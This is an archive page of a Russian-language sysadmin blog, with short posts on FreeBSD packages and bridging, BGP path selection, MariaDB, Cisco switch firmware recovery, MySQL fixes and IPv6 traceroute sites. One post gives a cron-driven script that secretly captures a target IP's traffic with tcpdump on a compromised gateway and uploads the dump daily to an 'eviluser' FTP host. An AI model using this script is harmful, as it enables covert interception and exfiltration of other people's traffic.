Архив

Архив раздела ‘Администрирование’

Установка бинарного репозитория во FreeBSD

5 Октябрь 2011 Нет комментариев

Бывают случаи, когда необходимо установить устаревший релиз FreeBSD, а порты собирать не хочеться.
Для этого существует команда pkg_add -r mc — например для установки файлового менеджера, но к сожалению старые бинарные репозитории удаляются с официальных зеркал. Но если мы знаем зеркало, где лежит нужный нам пакет указываем его через переменную окружения:
setenv PACKAGESITE http://ftp.ru.freebsd.org/FreeBSD/FreeBSD-Archive/ports/i386/packages-7.2-release/All/

Прозрачный bridge на базе FreeBSD

Для поддержки режима bridge пересобираем ядро с поддержкой драйвера:

device if_bridge

и опциями для фильтрации трафика (на базе ipfw):

options IPFIREWALL
options IPFIREWALL_DEFAULT_TO_ACCEPT

В файл /etc/sysctl.conf добавляем строки

net.link.bridge.ipfw=1
net.link.bridge.pfil_member=1
net.link.bridge.pfil_bridge=1
net.link.ether.ipfw=1
net.inet.ip.fw.enable=1

В файле /etc/rc.conf поднимаем сам мост (на двух физических интерфейсах em0 и em1):

cloned_interfaces=»bridge0″
ifconfig_bridge0=»addm em0 addm em1 up»
ifconfig_em0=»up»
ifconfig_em1=»up»
ifconfig_em2=»inet 192.168.1.2 netmask 255.255.255.0 up»
Для доступа по сети на интерфейс em2 назначен IP.

Перехват трафика на интернет шлюзе

Имеем порутаный интернет шлюз — задача перехватить весь трафик с ip адреса 2.2.2.2 и отправить раз в сутки в 4 утра к нам на сервер с парсером трафика.

Добавляем запуск нашего dumpscript в планировщик задач cron
vi /etc/crontab
0 4 * * * root /usr/dump/dumpscript
Теперь наш скрипт в 4 утра будет запускаться сливать дамп и перезапускать захват трафика.

#!/usr/local/bin/bash
set -x
cd /usr/dump

YEAR=`date +%Y`
MONTH=`date +%m`
DAY=`date +%d`
#Закачиваем сдампленый трафик на наш удаленый сервер для анализа трафика
echo mkdir $YEAR-$MONTH-$DAY | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo binary | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/
echo put traff | ftp ftp://eviluser:evilpass@ftp.example.com/tagertdump/$YEAR-$MONTH-$DAY/
#Убиваем процессы от предыдущего запуска
/usr/bin/killall screen
/usr/bin/killall tcpdump
/usr/local/bin/screen -d -m /usr/sbin/tcpdump -w traff -s 0 -i igb1 host 2.2.2.2 #Запускаем tcpdump в консольном оконном менеджере screen -d -m(создаем терминал и запускаем в нем процесс tcpdump по перехвату трафика с адреса 2.2.2.2 на интерфейсе igb1)

BGP — как происходит выбор наилучшего маршрута

19 Апрель 2011 Нет комментариев

BGP всегда выбирает один из маршрутов — как наилучший. Когда маршрут выбран, BGP помещает его в свою таблицу маршрутизации, и передает его своим neighbor’ам. Для выбора наилучшего маршрута BGP использует следующие критерии:

1. Если путь, указанный в поле next-hop, недоступен, этот update убивается.
2. Лучшим считается путь с наибольшим значением weight;
3. Если weight путей одинаковы, то выбирается путь с наибольшим lpref;
4. Если weight и lpref одинаковы, то выбирается путь, который появился в таблице маршрутов BGP на данном роутере. (подразумевается, что это будет самый наикратчайший путь);
5. Если нет путей, которые «родились» на данном роутере, то выбирается путь с AS_path минимальной длины;
6. Если все пути имеют одинаковую длину (одинаковое количество hop’ов, следовательно), выбирается путь с «lowest origin type». Считается, что IGP < EGP < Incomplete.;
7. Если Origin attr. code одинаковы для всех путей, выбирается путь с наименьшим MED attr.;
8. Если и MED одинаковы для всех возможных путей, предпочтительным считается external path перед internal path;
9. Если опять все пути одинаковы, то prefer the path through the closest IGP neighbor;
10. Выбирается путь с наименьшим IP адресом из тех, которые указываются by the BGP router ID.

MariaDB включаем поддержку XtraDB(Обратно совместимый движок с Innodb)

cd ./mariadb
./configure —with-plugins=max
Max обозначает что мы включаем все возможные движки — если есть желание их потестить.
На выходе получаем вывод скрипта configure:
Configuration summary for MariaDB Server version 5.2.4-MariaDB

* Archive Storage Engine: yes
* Aria Storage Engine: yes
* Blackhole Storage Engine: yes
* CSV Storage Engine: yes
* Cluster Storage Engine: no
* Collection of Authentication Plugins: plugin
* Daemon Example Plugin: plugin
* Example Storage Engine: plugin
* Federated Storage Engine: plugin
* FederatedX Storage Engine: yes
* Graph Storage Engine: no
* IBM DB2 for i Storage Engine: no
* InnoDB Storage Engine: plugin
* Memory Storage Engine: yes
* MyISAM MERGE Engine: yes
* MyISAM Storage Engine: yes
* PBXT Storage Engine: yes
* Partition Support: yes
* Simple Parser: plugin
* Sphinx Storage Engine: plugin
* XtraDB Storage Engine: yes

* Installation prefix: /usr/local
* System type: unknown-freebsd8.0
* Host CPU: i386
* C Compiler: gcc (GCC) 4.2.1 20070719 [FreeBSD]
* C++ Compiler: g++ (GCC) 4.2.1 20070719 [FreeBSD]
* Debug enabled: no
* Community Features: yes
Если хотим включить только XtraDB: ./configure —with-plugins=xtradb

Восстановление прошивки Cisco Catalyst

При неудачной прошивке свитча или сбоя флэш памяти, коммутатор не может найти образ IOS.
И при загрузке ругается:
Base ethernet MAC Address: 00:0b:be:54:1c:00
Xmodem file system is available.
The password-recovery mechanism is enabled.
Initializing Flash…
flashfs[0]: 8 files, 1 directories
flashfs[0]: 0 orphaned files, 0 orphaned directories
flashfs[0]: Total bytes: 15998976
flashfs[0]: Bytes used: 11776
flashfs[0]: Bytes available: 15987200
flashfs[0]: flashfs fsck took 18 seconds.
…done Initializing Flash.
Boot Sector Filesystem (bs:) installed, fsid: 3
Loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»…c3560-advipservicesk9-mz.1d

Error loading «c3560-advipservicesk9-mz.122-25.SEE4.bin»

Interrupt within 5 seconds to abort boot process.
Boot process failed…

The system is unable to boot automatically. The BOOT
environment variable needs to be set to a bootable
image.

И вываливает в приглашение:

switch:

Смотрим содержимое флэш памяти:

switch: dir flash:
Directory of flash:/

2 -rwx 0 env_vars
3 -rwx 5 config.text.renamed
4 -rwx 5 private-config.text.renamed
5 -rwx 2072 multiple-fs
6 -rwx 676 vlan.dat
7 -rwx 46 system_env_vars
9 -rwx 1938 private-config.text
11 -rwx 2614 config.text

15987200 bytes available (11776 bytes used)

В данном случае образ IOS отсутсвует.
Значит будем загружать по протоколу xmodem.
В случае с Linux устанавливаем терминал minicom и набор програм для передачи по протоколам xmodem/ymodem пакет называется — lrzsz.

Скачиваем нужную нам прошивку в моем случае: c3550-ipservicesk9-mz.122-46.SE.bin

Даем команду: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin

в minicom нажимаем Ctrl + A + S выбираем тип протокола xmodem и ждем… ждем долго т.к. размер прошивки ~7мб, а скорость у нас 9600 бод.

switch: copy xmodem: flash:c3550-ipservicesk9-mz.122-46.SE.bin
Begin the Xmodem or Xmodem-1K transfer now…
C +————[xmodem upload - Press CTRL-C to quit]————+
|Sending c3550-ipservicesk9-mz.122-46.SE.bin, 75099 blocks: Gi|
|ve your local XMODEM receive command now. |
|Xmodem sectors/kbytes sent: 0/ 0kRetry 0: NAK on sector |
|Retry 0: NAK on sector |
|Retry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 1/ 0kRetry 0: NAK on sector |
|Xmodem sectors/kbytes sent: 63/ 7k |
+————————————————————-+

Решение проблем с нарушением отображения букв «ш» и «И» в резултате неудачной перекодировки mysql

8 Декабрь 2009 Нет комментариев

Если в mysql принудительно указать кодировку cp1251, а потом выполнить смену кодировки базы на UTF-8, то вместо букв «ш» и «И» будут стоять вопросики.
Типичное проявление — бекап баз в кодировке UTF-8 с последующим их восстановлением или просто апдейт CMS, для которых родная кодировка — юникод. Например — WordPress, Drupal

Изучив Google, было найдено масса подобных проблем но все решение сводилось к удалению базы и заливки их резервной копии, что конечно не может быть решением.

Изучав особенности кодировки, я обратил внимание на то, что в mysql дампе буквы ш и И имели неверный код:
ш — 0xD13F
И — 0xD03F

В то время как верные коды для этих букв:
ш — 0xD188
И — 0xD098

Для интереса я проверил как отрабатывает на коды символов Perl в юникодной консоле:

perl -e ‘printf «%#x\n», ord(«И»);’
0xd0
perl -e ‘printf «%#x\n», ord(«ш»);’
0xd1

Таким образом данный сбой происходит из-за каких то нарушений в таблицах кодировок.

Исправить проблему очень просто, достаточно сделать дамп и выполнить две замены через Perl:

LC_ALL=C perl -pi -e «s|\xD1\x3F|\xD1\x88|g» dump.sql
LC_ALL=C perl -pi -e «s|\xD0\x3F|\xD0\x98|g» dump.sql

После чего залить исправленный дамп обратно в базу

Надеюсь, это сбережет многим массу времени и нервов.

Как добавить нового пользователя или БД в MySQL

5 Декабрь 2009 Нет комментариев
GRANT ALL PRIVILEGES ON БД.* TO пользователь@localhost IDENTIFIED BY 'пароль';
GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP PRIVILEGES ON БД.таблица TO
пользователь@'%.domain.ru' IDENTIFIED BY 'пароль';

или

insert into user (host,user,password)
values ('localhost','пользователь',password('pas'));

insert into db
(Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,
Drop_priv,Grant_priv,References_priv,Index_priv,Alter_priv)
values ('localhost','БД','пользователь','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');
flush privileges;

или воспользоваться скриптом mysql_setpermission

ipv6_traceroute

14 Ноябрь 2009 Нет комментариев

IPv6 traceroute sites, listed by ASN. (An IPv4 Traceroute page is also available.)

If you know of a working IPv6 traceroute site that isn’t listed below, feel free to add it. (Don’t have a wiki account yet? Sign up here.) Sites should allow traceroutes to any specified address.

Please correct any errors you find on this list. If a site is no longer responding, please change the “OK” in the Notes column to “FAILED” along with the date (mm/dd/yy). If the site becomes operational again, please change the “FAILED” message back to “OK”. If a site has been in “FAILED” status for over a month, it can be removed from the wiki.

ASN Provider Link Notes
559 SWITCH http://lg.lan.switch.ch/lg/6lg.cgi OK
680 DFN http://www.noc.dfn.de/lg/ OK
766 RedIRIS http://www.rediris.es/red/lg/ OK
1213 HEAnet http://www.hea.net/cgi-bin/lg.cgi OK
1273 Cable & Wireless https://support.cw.com/?TESTDRIVE=1&LG=1 OK
2108 Croatian Internet eXchange http://www.cix.hr/traceroute.php OK
2603 NORDUnet http://www.nordu.net/connectivity/looking-glass/lg6.cgi OK
3303 Swisscom IP-Plus https://my.ip-plus.net/nav.en.mpl/network/tools/LookingGlass/ OK
3327 Data Telecom http://lg.version6.net/ OK
3333 RIPE NCC RIS Project http://www.ris.ripe.net/cgi-bin/lg/index.cgi OK
3356 Level3 http://lg.level3.net/ OK
4787 CBN http://noc.cbn.net.id/lg.php OK
5408 Greek Research & Technology Network http://netmon.grnet.gr/lg.shtml OK
5430 freenet Cityline GmbH http://zaphods.net/trace/index.cgi OK
5511 OpenTransit http://www.ipv6.opentransit.net/cgi-bin/yalg.pl OK
5539 SpaceNet http://www.space.net/traceroute OK
5609 Tilab http://net-stats.ipv6.tilab.com/bgp/services.html OK
6435 LavaNet http://www.ipv6.lava.net/traceroute.html OK
6453 Teleglobe http://lg.teleglobe.net/ OK
6509 CA*net 4 http://dooka.canet4.net/lg/lg.php OK
6667 EUnet http://www.eunetip.net/look.shtml OK
6730 Sunrise http://debby.sunrise.ch/lg/lg.cgi.html OK
6762 Seabone http://etabeta.noc.seabone.net/cgi-bin/lg.pl OK
6802 NREN — Bulgaria http://luna.acad.bg/lg OK
6939 Hurricane Electric http://lg.he.net/cgi-bin/index.cgi OK
7521 Internet Multifeed http://www.v6.mfeed.ad.jp/ipv6/lg.html FAILED 06/20/08
7670 tumori.nu http://www.tumori.nu/IPv6/traceroute.html OK
7684 Sakura Internet http://as7684.bgp4.jp/ OK
8201 Comm. Scolaire St Benoit Habay http://www.stben.net/internet.html OK
8218 Neotelecoms/Eunetworks http://lg.as8218.eu OK
8298 SixXS GRH (Ghost Route Hunter) http://www.sixxs.net/tools/grh/ OK
8642 Wiberg http://www.wiberg.nu/iptools.php OK
8758 Dolphins Network Systems http://www.dolphins.ch/network/traceroute.en.php FAILED 06/20/08
8903 BT Spain http://vasili.bt.es/lg.html OK
9370 Sakura Internet http://as9370.bgp4.jp/ OK
9607 BroadBand Tower — Japan http://lg01.colo01.bbtower.ad.jp/ OK
11537 Abilene http://ratt.uits.iu.edu/routerproxy/abilene/ OK
12541 Cable & Wireless https://support.cw.com/?TESTDRIVE=1&LG=1 OK
12767 PragoNet http://nms1.prago.net/public-cgi-bin/lg/lg.cgi OK
12902 Luna.nl http://noc.luna.nl/lg/ FAILED 06/20/08
12931 SpeedKom http://cadiweb.speedkom.net/lookingglass.php OK
13115 Home of the Brave http://home.of.the.brave.de/Internet-Services/Looking_Glass/ FAILED 06/20/08
15685 Logix http://www.ipv6.logix.cz/ OK
15703 TrueServer http://noc.trueserver.nl/cgi-bin/lg.pl FAILED 06/20/08
16215 Genotec Internet Consulting AG http://lg.as16215.net/ OK
18566 Altair7 Communications http://www.altair7.com/cgi-bin/ntools/output.cgi OK
20640 Titan Networks Six-de.net LG http://www.six-de.net/lg/ OK
20965 GEANT http://stats.geant.net/lg/lgform.cgi FAILED 06/20/08
21142 PragoNet http://nms1.prago.net/public-cgi-bin/lg/lg.cgi OK
25137 nfsi telecom http://lg.nfsi.pt/ OK
25358 Novso http://www.as25358.net.lg/ OK
25409 AlsysNet http://lg.alsysdata.net OK
25560 rh-tec https://noc.de.rh-tec.net/nmc/ FAILED 06/20/08
25795 ARPNetworks http://4or6.com/ OK
27552 TowardEX http://www.twdx.net/ OK
28788 Unilogic Networks http://noc.unilogicnetworks.net/lg/ OK
28929 ASDASD srl (Italy) http://as28929.net/lg/ OK
29632 NetAssist http://noc.netassist.kiev.ua/lg.php OK
30781 Jaguar Network http://www.as30781.net/lg/ OK
32748 IPv6 Trace Test http://tracetest.net OK
41075 ATW Internet http://atw.co.hu/lg OK

Обновлние портов OpenBSD

15 Сентябрь 2009 Нет комментариев

CVSROOT=anoncvs@anoncvs1.usa.openbsd.org:/cvs
export CVSROOT
cd /usr
cvs checkout -P ports